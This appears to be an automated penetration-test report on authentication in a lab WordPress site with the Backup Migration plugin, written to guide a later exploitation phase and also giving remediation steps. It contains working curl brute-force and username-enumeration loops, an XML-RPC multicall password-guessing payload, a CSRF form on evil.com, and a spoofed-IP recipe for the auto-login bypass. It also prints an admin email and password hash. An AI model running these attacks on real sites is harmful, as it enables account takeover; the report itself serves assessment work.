# Authentication Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Multiple critical authentication vulnerabilities were identified, including a catastrophic authentication bypass in the Backup Migration plugin, missing transport security, absent rate limiting, and weak session management configurations.
- **Purpose of this Document:** This report provides strategic context on the application's authentication mechanisms, dominant vulnerability patterns, and architectural details necessary to effectively exploit the vulnerabilities listed in the exploitation queue.

**Severity Assessment:** The WordPress 6.5.4 application with Backup Migration plugin v1.3.5 presents a **CRITICAL** risk posture with multiple high-severity authentication vulnerabilities providing direct paths to complete system compromise.

**Most Critical Finding:** The AFTER_RESTORE auto-login mechanism allows complete authentication bypass via a predictable token format (`timestamp_IP_4u70L051n`) with trivially spoofable IP validation, granting instant administrator access without any password verification.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Complete Authentication Bypass (CRITICAL)
- **Description:** The Backup Migration plugin implements a catastrophically flawed auto-login mechanism that allows attackers to obtain full administrator access by predicting or brute-forcing a weakly-constructed token. The token format `timestamp_IP_4u70L051n` combines guessable timestamps (recent Unix time), spoofable IP addresses (via HTTP headers), and a static suffix.
- **Implication:** Any attacker who can access the WordPress site within minutes of a backup restore operation can trivially gain full administrator access without knowing any credentials. The 6-second time window combined with ~10 common IP addresses means only 60-14,400 requests are needed to succeed.
- **Representative Finding:** `AUTH-VULN-01` (AFTER_RESTORE authentication bypass)
- **Code Location:** `/wordpress/wp-content/plugins/backup-backup/includes/initializer.php:996-1046`
- **Attack Feasibility:** HIGH - Exploitable via simple curl/bash scripts in seconds to minutes

### Pattern 2: Missing Abuse Defenses (CRITICAL)
- **Description:** A systematic absence of rate limiting, account lockout, and CAPTCHA mechanisms across ALL authentication endpoints enables unlimited brute force attacks. Both `/wp-login.php` and `/xmlrpc.php` process authentication attempts without any throttling, and the XML-RPC `system.multicall` method amplifies attacks by allowing hundreds of login attempts in a single HTTP request.
- **Implication:** Attackers can perform credential stuffing, password spraying, and brute force attacks at machine speed without lockout. Weak passwords can be cracked in minutes to hours.
- **Representative Findings:** `AUTH-VULN-02` (no rate limiting on /wp-login.php), `AUTH-VULN-03` (XML-RPC brute force amplification)
- **Attack Amplification:** XML-RPC system.multicall enables 500+ authentication attempts per HTTP request

### Pattern 3: Transport Security Failures (CRITICAL)
- **Description:** The application runs exclusively over HTTP (port 45513 mapped to container port 80) with no HTTPS enforcement, no HSTS headers, and session cookies transmitted with Secure=FALSE. While HttpOnly is properly set, the absence of encryption in transit exposes all authentication traffic to interception.
- **Implication:** Session cookies, login credentials, and authentication tokens can be captured via network sniffing (WiFi interception, man-in-the-middle attacks). Combined with missing SameSite cookie attribute, the application is vulnerable to both passive credential theft and active session hijacking.
- **Representative Finding:** `AUTH-VULN-04` (HTTP-only deployment with unencrypted credential transmission)
- **Additional Risk:** Missing SameSite attribute creates CSRF attack surface (partially mitigated by WordPress nonces)

### Pattern 4: Information Disclosure Enabling Attack Chaining (MEDIUM-HIGH)
- **Description:** Multiple information disclosure vulnerabilities provide attackers with intelligence to launch targeted attacks. User enumeration via different error messages, application passwords transmitted in GET parameters (appearing in logs/history), and potentially accessible backup files containing password hashes all reduce attack complexity.
- **Implication:** Attackers can enumerate valid usernames before brute forcing, steal application passwords from browser history or HTTP logs, and potentially crack admin password hashes from exposed backup files.
- **Representative Findings:** `AUTH-VULN-05` (user enumeration), `AUTH-VULN-06` (application passwords in GET parameters)
- **Chaining Potential:** Username enumeration + weak password policy + no rate limiting = high-probability account compromise

## 3. Strategic Intelligence for Exploitation

### Authentication Architecture
- **Primary Method:** Cookie-based session management using PHPass framework with bcrypt password hashing
- **Session Token Format:** 43-character alphanumeric string generated via `wp_generate_password(43, false, false)` using PHP's CSPRNG `random_int()`
- **Token Storage:** SHA-256 hashed tokens stored in `wp_usermeta` table under meta_key `session_tokens`
- **Cookie Names:** 
  - `wordpress_[hash]` (auth cookie)
  - `wordpress_logged_in_[hash]` (frontend tracking)
- **Session Lifetime:** 2 days (standard) or 14 days (Remember Me), with 1-hour grace period for AJAX/POST requests

### Session Cookie Configuration
- **HttpOnly:** ✅ TRUE (hardcoded, protects against XSS theft)
- **Secure:** ❌ FALSE (based on `is_ssl()` which returns false for HTTP deployment)
- **SameSite:** ❌ NOT SET (missing 8th parameter in setcookie(), creates CSRF risk)
- **Domain:** FALSE (properly scoped to current domain only)
- **Path:** Multiple paths (/, /wp-admin, /wp-content/plugins) for appropriate scoping

### Alternative Authentication Methods
1. **XML-RPC:** Fully enabled, supports HTTP Basic Auth and system.multicall batch requests
2. **REST API:** Cookie-based auth (same-origin) or HTTP Basic Auth with application passwords
3. **Application Passwords:** OAuth-like flow at `/wp-admin/authorize-application.php`
4. **Backup Plugin Auto-Login:** `/?backup-migration=AFTER_RESTORE` (CRITICAL bypass)

### Password Storage
- **Algorithm:** PHPass framework with bcrypt (8 rounds) or MD5-iterated fallback
- **Hashing:** Uses `wp_hash_password()` wrapper around PHPass `HashPassword()`
- **Verification:** Constant-time comparison via `hash_equals()` after PHPass `CheckPassword()`
- **Location:** `/wordpress/wp-includes/class-phpass.php`
- **Strength:** ✅ SECURE (assuming sufficient work factor)

### Known Credentials (From Backup File)
- **Admin Username:** `admin`
- **Admin Email:** `matias@icodeart.cl`
- **Password Hash:** `$P$BQ/BTqqnL78yyFb92rdJbeRInZY27V/` (PHPass format)
- **Source:** `/mysql/backup.sql` line 780
- **Status:** Hash appears in backup SQL dump - exploitable if backup file is web-accessible or if password is weak enough to crack offline

### Docker Environment Intelligence
- **WordPress Container Port:** Internal port 80, external port 45513
- **Common Container IPs:** 172.17.0.1 (gateway), 172.17.0.2 (likely WordPress), 127.0.0.1 (localhost)
- **Web Server:** Apache 2.4.65 (Debian)
- **PHP Version:** 8.3.27
- **Database:** MySQL 8.0, credentials `wordpress:wordpress` (weak)
- **Flag Location:** `/opt/flag.txt` within WordPress container

### Exploitation Entry Points
1. **Primary Vector:** AFTER_RESTORE auto-login bypass (`AUTH-VULN-01`) - instant admin access
2. **Secondary Vector:** Brute force via XML-RPC system.multicall (`AUTH-VULN-03`) - credential guessing
3. **Tertiary Vector:** Session hijacking via HTTP interception (`AUTH-VULN-04`) - passive MitM attack
4. **Information Gathering:** User enumeration (`AUTH-VULN-05`) - reduces brute force search space

## 4. Secure by Design: Validated Components

These components were analyzed and found to have robust defenses. They are low-priority for further testing.

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Password Hashing | `/wordpress/wp-includes/class-phpass.php` | Uses PHPass with bcrypt (8 rounds) or MD5-iterated (8192 iterations). Constant-time comparison via `hash_equals()`. | SAFE |
| Session Token Generation | `/wordpress/wp-includes/pluggable.php:1031-1034` | 43-character tokens generated via `wp_generate_password()` using PHP's `random_int()` CSPRNG. 256 bits of entropy. | SAFE |
| Session Token Storage | `/wordpress/wp-includes/class-wp-user-meta-session-tokens.php:77-102` | Tokens SHA-256 hashed before database storage. Never stored in plaintext. | SAFE |
| Logout Session Destruction | `/wordpress/wp-includes/pluggable.php:656-672` | Properly calls `destroy()` to remove server-side session from database and clears all authentication cookies for all paths. | SAFE |
| HttpOnly Cookie Flag | `/wordpress/wp-includes/pluggable.php:1093-1097` | Hardcoded to `true` for all auth cookies, preventing JavaScript access. | SAFE |
| Cache-Control Headers | `/wordpress/wp-includes/functions.php:1492-1516`, `/wordpress/wp-login.php:502` | `nocache_headers()` sets `Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private` on all auth responses. | SAFE |
| Cookie Domain Scoping | `/wordpress/wp-includes/default-constants.php:329-331` | COOKIE_DOMAIN set to FALSE, preventing cookie leakage to subdomains. | SAFE |
| CSRF Nonce System | `/wordpress/wp-includes/pluggable.php` (wp_create_nonce, wp_verify_nonce) | Nonces generated with HMAC using auth keys and user session. 24-hour lifetime with tick-based validation. | SAFE |
| Password Reset Token Generation | `/wordpress/wp-includes/user.php:2923` | Uses `wp_generate_password(20, false)` for reset keys, providing sufficient entropy. Key is hashed with time prefix before storage. | SAFE |
| Meta Capability Mapping | `/wordpress/wp-includes/capabilities.php:44-822` | Context-aware `map_meta_cap()` converts high-level capabilities (edit_post) to primitives based on ownership and status. | SAFE |

### Notes on Secure Components:
- **Session Token Entropy:** 43 characters from 62-character set (a-z, A-Z, 0-9) = log2(62^43) ≈ 256 bits, exceeds NIST recommendations
- **Password Hashing:** PHPass with 8 rounds is acceptable but could be strengthened to 10+ rounds for modern hardware
- **CSRF Nonces:** While implemented correctly, the missing SameSite cookie attribute removes a defense-in-depth layer
- **Cookie Scoping:** Proper path-based scoping (/wp-admin, /wp-content/plugins, /) ensures cookies are only sent where needed

## 5. Vulnerability Details & Code Analysis

### AUTH-VULN-01: Backup Plugin Auto-Login Authentication Bypass (CRITICAL)

**Endpoint:** `GET /?backup-migration=AFTER_RESTORE&backup-id={timestamp}&progress-id={token}`

**Vulnerable Code Location:** `/wordpress/wp-content/plugins/backup-backup/includes/initializer.php:996-1046`

**Token Generation Code:** `/wordpress/wp-content/plugins/backup-backup/includes/ajax.php:1097`
```php
$autoLoginMD = time() . '_' . $ip . '_' . '4u70L051n';
```

**Vulnerability Description:**
The Backup Migration plugin implements an auto-login feature intended to grant administrators access after a backup restore. The authentication mechanism relies on a predictable token format combining a Unix timestamp, client IP address, and static suffix "4u70L051n".

**Token Format:** `{unix_timestamp}_{ip_address}_4u70L051n`
- **Timestamp Component:** PHP `time()` function - guessable if attacker knows approximate restore time
- **IP Component:** Extracted from spoofable HTTP headers (`HTTP_CLIENT_IP`, `HTTP_X_FORWARDED_FOR`)
- **Static Suffix:** Never changes, reduces entropy to zero for this component

**Time Window Validation:**
The code validates timestamps with a 6-second window (-1 to +4 seconds from stored timestamp):
```php
$aID = intval($autoLoginMD[0]);
$aID2 = intval($autoLoginMD[0]) - 1;
$aID3 = intval($autoLoginMD[0]) + 1;
$aID4 = intval($autoLoginMD[0]) + 2;
$aID5 = intval($autoLoginMD[0]) + 3;
$aID6 = intval($autoLoginMD[0]) + 4;
```

**IP Address Spoofing:**
```php
// Line 976-986 in initializer.php
$ip = '127.0.0.1';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
  $ip = $_SERVER['HTTP_CLIENT_IP'];
} else {
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  }
  // ...
}
```
Attacker can send `X-Forwarded-For: 172.17.0.1` header to match container IP.

**Authentication Grant:**
```php
// Lines 1028-1036
wp_set_current_user($adminID, $adminLogin);
wp_set_auth_cookie($adminID, 1, is_ssl());
```
Upon successful validation, grants first administrator in database with 14-day persistent cookie.

**Exploitation Complexity:**
- **Known restore time:** 6 timestamps × 4 IPs = 24 requests = TRIVIAL
- **Unknown time (10-minute window):** 600 seconds × 6 offsets × 4 IPs = 14,400 requests = ~24 minutes
- **With timestamp enumeration:** Can be reduced to seconds

**Missing Defenses:**
- No rate limiting
- No logging of failed attempts
- Token file persists until successful login or manual deletion
- No CAPTCHA or secondary authentication
- No notification to existing administrators

### AUTH-VULN-02: No Rate Limiting on /wp-login.php (HIGH)

**Endpoint:** `POST /wp-login.php`

**Vulnerable Code Location:** `/wordpress/wp-includes/pluggable.php:600-647` (wp_authenticate), `/wordpress/wp-includes/user.php:135-200` (wp_authenticate_username_password)

**Vulnerability Description:**
WordPress core provides no native rate limiting, account lockout, or CAPTCHA mechanisms for authentication endpoints. The `wp_login_failed` action hook fires on failed login (line 643 in pluggable.php) but has no default handler implementing throttling.

**Attack Verification:**
```bash
# Unlimited attempts possible
for i in {1..1000}; do
  curl -s -X POST http://localhost:45513/wp-login.php \
    -d "log=admin&pwd=password$i" > /dev/null
  echo "Attempt $i complete"
done
```

**Missing Controls:**
- No per-IP rate limiting (can submit unlimited requests from single IP)
- No per-account rate limiting (can attack single account indefinitely)
- No progressive delay or exponential backoff
- No account lockout after N failed attempts
- No CAPTCHA challenge after repeated failures
- No security plugin installed (checked for Wordfence, Fail2Ban, etc.)

**Impact:**
Combined with weak password policy and user enumeration, enables practical brute force attacks against user accounts.

### AUTH-VULN-03: XML-RPC Brute Force Amplification (HIGH)

**Endpoint:** `POST /xmlrpc.php`

**Vulnerable Code Location:** `/wordpress/wp-includes/IXR/class-IXR-server.php:183-218` (system.multicall implementation)

**Vulnerability Description:**
WordPress XML-RPC interface is fully enabled with support for `system.multicall`, allowing attackers to batch hundreds of authentication attempts into a single HTTP request. This bypasses naive rate limiting based on request counts.

**XML-RPC Status:**
```php
// wp-includes/class-wp-xmlrpc-server.php:221
$is_enabled = apply_filters( 'option_enable_xmlrpc', true );  // Defaults to TRUE
```
No filters disable XML-RPC in this installation.

**system.multicall Implementation:**
```php
// IXR/class-IXR-server.php:197-218
public function multiCall($methodcalls) {
    foreach ($methodcalls as $call) {
        $method = $call['methodName'];
        $params = $call['params'];
        $result = $this->call($method, $params);  // Executes each auth attempt
        // ...
    }
}
```

**Attack Amplification:**
Single HTTP request can contain 500+ authentication attempts:
```xml
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value><array><data>
        <value><struct>
          <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
          <member><name>params</name><value><array><data>
            <value>admin</value>
            <value>password1</value>
          </data></array></value></member>
        </struct></value>
        <!-- Repeat 500 times with different passwords -->
      </data></array></value>
    </param>
  </params>
</methodCall>
```

**Ineffective Protection:**
```php
// class-wp-xmlrpc-server.php:46-51
protected $auth_failed = false;

// Lines 294-305
if ( $this->auth_failed ) {
    return $this->error;
}
```
The `$auth_failed` flag is an instance variable that resets with each new HTTP request, providing no cross-request protection.

**Attack Speed:**
- 500 attempts/request × 10 requests/second = 5,000 passwords tested per second
- Can exhaust 10,000-password dictionary in 2 seconds
- Far exceeds typical brute force speeds of 1-10 attempts/second

### AUTH-VULN-04: Unencrypted HTTP Credential Transmission (CRITICAL)

**Affected Endpoints:** ALL authentication endpoints

**Configuration Evidence:**
- **docker-compose.yml:** Only port 80 exposed (HTTP), no HTTPS configuration
- **wp-config.php:** No `FORCE_SSL_ADMIN` or `FORCE_SSL_LOGIN` constants defined
- **Application URL:** `http://localhost:45513` (HTTP protocol)

**Session Cookie Security:**
```php
// wp-includes/pluggable.php:995-997
if ( '' === $secure ) {
    $secure = is_ssl();  // Returns FALSE for HTTP deployment
}

// Line 1093
setcookie( $auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true );
                                                                                          // ^^^^^^^ = FALSE
```

**Attack Scenario:**
1. Attacker positions on network path (WiFi sniffer, ARP spoofing, compromised router)
2. Victim logs in to `http://localhost:45513/wp-login.php`
3. Attacker captures plaintext POST data: `log=admin&pwd=SecretPassword123`
4. Attacker captures session cookie: `wordpress_abc123=admin|1234567890|token|hmac`
5. Attacker replays cookie to gain administrator access

**Missing Security Headers:**
- No `Strict-Transport-Security` (HSTS) header
- No HTTPS redirect at web server level
- No protection against SSL stripping attacks

**Mitigation Required:**
```php
// Add to wp-config.php
define('FORCE_SSL_ADMIN', true);
define('FORCE_SSL_LOGIN', true);
```
Plus configure Apache/Nginx for HTTPS with valid certificate.

### AUTH-VULN-05: Username Enumeration via Error Messages (MEDIUM)

**Endpoint:** `POST /wp-login.php`

**Vulnerable Code Location:** `/wordpress/wp-includes/user.php:165-196`

**Vulnerability Description:**
WordPress returns different error messages for invalid username vs. invalid password, allowing attackers to enumerate valid usernames before attempting password guessing.

**Distinct Error Messages:**
```php
// Line 165-168: Invalid username
$error->add(
    'invalid_username',
    __( '<strong>Error:</strong> The username <strong>' . $username . '</strong> is not registered on this site. If you are unsure of your username, try your email address instead.' )
);

// Line 188-196: Valid username, wrong password
$error->add(
    'incorrect_password',
    sprintf(
        __( '<strong>Error:</strong> The password you entered for the username <strong>%s</strong> is incorrect.' ),
        $username
    )
);
```

**Exploitation:**
```bash
# Test username existence
response=$(curl -s -X POST http://localhost:45513/wp-login.php \
  -d "log=testuser&pwd=wrong" | grep "is not registered")

if [ -n "$response" ]; then
  echo "Username does NOT exist"
else
  echo "Username EXISTS (different error message)"
fi
```

**Enumeration Automation:**
```bash
# Enumerate usernames from common list
for username in admin administrator root webmaster editor author; do
  response=$(curl -s -X POST http://localhost:45513/wp-login.php \
    -d "log=$username&pwd=dummy")
  
  if echo "$response" | grep -q "is not registered"; then
    echo "[-] $username: not registered"
  else
    echo "[+] $username: EXISTS"
  fi
done
```

**Impact:**
Reduces attacker's search space from username×password combinations to just password combinations against known valid users.

### AUTH-VULN-06: Application Password in GET Parameter (MEDIUM)

**Endpoint:** `POST /wp-admin/authorize-application.php` (then redirects to success_url)

**Vulnerable Code Location:** `/wordpress/wp-admin/authorize-application.php:45-53`

**Vulnerability Description:**
When a user approves an application password request, WordPress redirects to the success_url with the plaintext password in a GET parameter, exposing it in browser history, server logs, and HTTP Referer headers.

**Vulnerable Code:**
```php
// Lines 46-52
$redirect = add_query_arg(
    array(
        'site_url'   => urlencode( site_url() ),
        'user_login' => urlencode( wp_get_current_user()->user_login ),
        'password'   => urlencode( $new_password ),  // PLAINTEXT PASSWORD IN URL!
    ),
    $success_url
);
wp_redirect( $redirect );
```

**Example Redirect:**
```
https://example.com/callback?site_url=http://localhost:45513&user_login=admin&password=ABC123XYZ456DEF789GHI012
```

**Exposure Vectors:**
1. **Browser History:** Password stored permanently in user's browsing history
2. **Server Logs:** Success_url's web server logs the full URL with password
3. **Proxy Logs:** Corporate proxies, CDNs, WAFs log the request URL
4. **Referer Header:** If success_url redirects to third-party, password appears in Referer
5. **Browser Extensions:** Extensions with history access can read password
6. **Shared Computers:** Other users can view browser history

**Proper Implementation:**
Should use POST request with password in body, or one-time exchange token in URL that's exchanged for password in subsequent request.

### AUTH-VULN-07: Missing SameSite Cookie Attribute (MEDIUM)

**Vulnerable Code Location:** `/wordpress/wp-includes/pluggable.php:1093-1097`

**Vulnerability Description:**
WordPress sets authentication cookies without the SameSite attribute, relying solely on nonce-based CSRF protection rather than implementing defense-in-depth at the cookie level.

**Cookie Setting Code:**
```php
setcookie( $auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true );
// Parameters: 1=name, 2=value, 3=expire, 4=path, 5=domain, 6=secure, 7=httponly
// MISSING: 8th parameter for SameSite (Lax/Strict/None)
```

**PHP setcookie() Signature (PHP 7.3+):**
```php
setcookie(string $name, string $value, int $expire, string $path, string $domain, bool $secure, bool $httponly, string $samesite)
```

**Attack Scenario:**
1. Victim logs into WordPress (`http://localhost:45513/wp-admin/`)
2. Victim visits attacker's site (`http://evil.com`) while still authenticated
3. Attacker's page contains hidden form that submits to WordPress:
```html
<form action="http://localhost:45513/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="backup_migration">
  <input type="hidden" name="token" value="bmi">
  <input type="hidden" name="f" value="create-backup">
</form>
<script>document.forms[0].submit();</script>
```
4. Browser sends WordPress cookies with cross-site request (no SameSite protection)
5. Attacker's request succeeds IF WordPress nonce is also obtained/bypassed

**Mitigation by WordPress:**
WordPress implements nonce-based CSRF protection:
```php
// Nonce verification in backup plugin
check_ajax_referer('backup-migration-ajax');
```

**Why Still Vulnerable:**
- Defense-in-depth principle: multiple layers of protection preferred
- Nonces can sometimes be leaked via XSS or Referer headers
- SameSite=Strict would prevent cookie transmission entirely for cross-site requests
- Modern security best practice is to set SameSite explicitly

**Proper Implementation:**
```php
setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true, 'Strict');
```

### AUTH-VULN-08: No Idle Session Timeout (MEDIUM)

**Vulnerable Code Location:** `/wordpress/wp-includes/pluggable.php:770-820` (wp_validate_auth_cookie)

**Vulnerability Description:**
WordPress validates session expiration based on absolute timeout (2-14 days) but does NOT implement idle timeout. Sessions remain valid for their full duration regardless of inactivity.

**Validation Code:**
```php
// Line 786-793: Only checks absolute expiration
$expiration = (int) $cookie_elements[1];
if ( $expiration < time() ) {
    return false;
}
```

**No Idle Timeout Check:**
The validation function checks only if the absolute expiration timestamp has passed. There is NO check for last activity time or idle duration.

**Attack Scenario:**
1. Administrator logs in at 9:00 AM, gets 2-day session
2. Administrator uses WordPress until 9:30 AM, then leaves computer unattended
3. At 5:00 PM, attacker gains physical access to unattended computer
4. Session is still valid (7.5 hours of inactivity, but hasn't reached 2-day absolute timeout)
5. Attacker performs administrative actions using dormant session

**Comparison to Secure Implementation:**
Many applications invalidate sessions after 15-30 minutes of inactivity:
```php
// Secure example (not implemented in WordPress)
$last_activity = get_user_meta($user_id, 'last_activity', true);
if ((time() - $last_activity) > 1800) {  // 30-minute idle timeout
    wp_logout();
    return false;
}
update_user_meta($user_id, 'last_activity', time());
```

**Impact:**
- Unattended computers with dormant sessions remain exploitable for days
- Kiosk/shared computers pose elevated risk
- Physical security incidents have extended exploitation windows

## 6. Attack Methodology & Exploitation Patterns

### Attack Chain 1: Direct Authentication Bypass (Fastest Path to Admin)
```
1. Monitor for backup restore operations (check backup directory for .autologin file)
2. Calculate timestamp range (current time ± 10 minutes)
3. Brute force AFTER_RESTORE endpoint:
   - For each timestamp in range:
     - For each common IP (127.0.0.1, 172.17.0.x):
       - For each time offset (-1 to +4 seconds):
         GET /?backup-migration=AFTER_RESTORE&backup-id={ts}&progress-id=4u70L051n
         with X-Forwarded-For: {IP}
4. Receive 14-day admin cookie on success
5. Access /wp-admin/ with full administrator privileges
```
**Time to Exploit:** Seconds to 24 minutes depending on timestamp knowledge
**Skill Required:** Low (simple bash/curl script)
**Detection Risk:** Low (appears as legitimate restore access if successful)

### Attack Chain 2: Credential Brute Force via XML-RPC (Traditional Approach)
```
1. Enumerate valid usernames via error message differences:
   POST /wp-login.php with common usernames
   Identify users with "incorrect password" vs "not registered" messages
2. Build password list (rockyou.txt, common passwords, targeted dictionary)
3. Brute force via XML-RPC system.multicall:
   - Single request tests 500 passwords
   - 20 requests = 10,000 passwords tested
   - ~2 minutes for full dictionary attack
4. On successful authentication, obtain session cookie
5. Access WordPress admin panel
```
**Time to Exploit:** Minutes to hours depending on password strength
**Skill Required:** Medium (XML-RPC payload construction)
**Detection Risk:** Medium (high volume of XML-RPC requests may trigger IDS)

### Attack Chain 3: Session Hijacking via Network MitM (Passive Approach)
```
1. Position on network path (ARP spoofing, rogue WiFi AP, compromised router)
2. Sniff HTTP traffic to port 45513
3. Wait for legitimate administrator login
4. Capture plaintext credentials from POST body OR session cookie from Set-Cookie header
5. Replay cookie to gain session access
```
**Time to Exploit:** Passive monitoring until administrator authenticates
**Skill Required:** Medium (network attack tools: wireshark, ettercap, bettercap)
**Detection Risk:** Low (passive sniffing is difficult to detect)

### Attack Chain 4: Information Gathering → Targeted Attack
```
1. Enumerate usernames (AUTH-VULN-05)
2. Attempt to access backup file:
   - Check /mysql/backup.sql for web accessibility
   - Or use file read vulnerability if present
3. Extract password hashes from backup
4. Offline crack hashes (hashcat, john)
5. Login with cracked credentials
```
**Time to Exploit:** Hours to days depending on password complexity
**Skill Required:** Medium-High (hash cracking, GPU optimization)
**Detection Risk:** Low (offline cracking generates no logs)

## 7. Recommended Remediation Priority

### CRITICAL (Immediate Action Required)
1. **Disable AFTER_RESTORE Auto-Login** - Comment out lines 996-1046 in initializer.php or implement cryptographically secure tokens
2. **Enable HTTPS** - Configure Apache/Nginx with valid SSL certificate, set FORCE_SSL_ADMIN=true
3. **Implement Rate Limiting** - Install security plugin (Wordfence, Fail2Ban) or configure web server rate limits

### HIGH (Address Within 48 Hours)
4. **Disable XML-RPC** - Add `add_filter('xmlrpc_enabled', '__return_false');` to wp-config.php
5. **Generic Error Messages** - Modify error messages to not reveal username validity
6. **Application Password Transmission** - Use POST request or token exchange instead of GET parameter
7. **Set SameSite Cookie Attribute** - Add 8th parameter to setcookie() calls: 'Lax' or 'Strict'

### MEDIUM (Address Within 1 Week)
8. **Implement Idle Session Timeout** - Add custom idle timeout validation (15-30 minutes)
9. **Strong Password Policy** - Enforce server-side password complexity requirements
10. **Remove Exposed Backup Files** - Ensure backup.sql is not web-accessible
11. **Add HSTS Headers** - Configure Strict-Transport-Security after HTTPS is enabled

## 8. Testing Notes for Exploitation Phase

### Exploitation Environment Setup
- **Target:** `http://localhost:45513`
- **Test Account:** Username likely `admin` (confirmed in backup file)
- **Container Environment:** Docker (IPs: 172.17.0.1, 172.17.0.2, 127.0.0.1)
- **Backup Directory:** `/wp-content/backup-migration-eh8dobKJWN/backups/`
- **Flag Location:** `/opt/flag.txt` within WordPress container

### Key Exploitation Parameters
- **AFTER_RESTORE Token Format:** `{timestamp}_IP_4u70L051n`
- **Time Window:** -1 to +4 seconds from timestamp (6 second total window)
- **Common IPs to Try:** 127.0.0.1, 172.17.0.1, 172.17.0.2, localhost
- **XML-RPC Endpoint:** `POST /xmlrpc.php` (accepts system.multicall)
- **Admin Cookie Name:** `wordpress_` + hash of COOKIEPATH
- **Session Duration:** 2 days (standard) or 14 days (Remember Me/auto-login)

### Testing Tools Recommended
- **Brute Force:** wpscan, hydra, custom bash scripts
- **XML-RPC Exploitation:** wpscan --enumerate, custom Python scripts
- **Network Sniffing:** wireshark, tcpdump, bettercap
- **Session Analysis:** burp suite, browser dev tools (Application tab)

### Exploitation Success Criteria
1. Obtain valid admin session cookie
2. Access `/wp-admin/` without authentication
3. Verify administrator privileges (can access Plugins, Users, Settings)
4. Optional: Read `/opt/flag.txt` via file manager or command execution

## 9. Conclusion

This WordPress 6.5.4 application with Backup Migration plugin v1.3.5 exhibits catastrophic authentication security failures across multiple layers:

**Catastrophic Failures:**
- Complete authentication bypass via predictable auto-login tokens
- Zero rate limiting enabling unlimited brute force attempts
- Unencrypted credential transmission over HTTP
- XML-RPC amplification allowing mass authentication testing

**Systemic Weaknesses:**
- Missing defense-in-depth security controls (SameSite, HSTS, idle timeout)
- Information disclosure aiding attack reconnaissance
- Weak password policies and user enumeration

**Security Strengths (Limited):**
- Strong password hashing (PHPass/bcrypt)
- High-entropy session token generation
- Proper CSRF nonce implementation
- HttpOnly cookie flag protection

The most critical finding—the AFTER_RESTORE authentication bypass—provides a trivial path to complete system compromise, making this application unsuitable for any production deployment without immediate remediation.

**Overall Assessment:** CRITICAL RISK - Multiple actively exploitable authentication vulnerabilities with low skill barriers and high impact potential.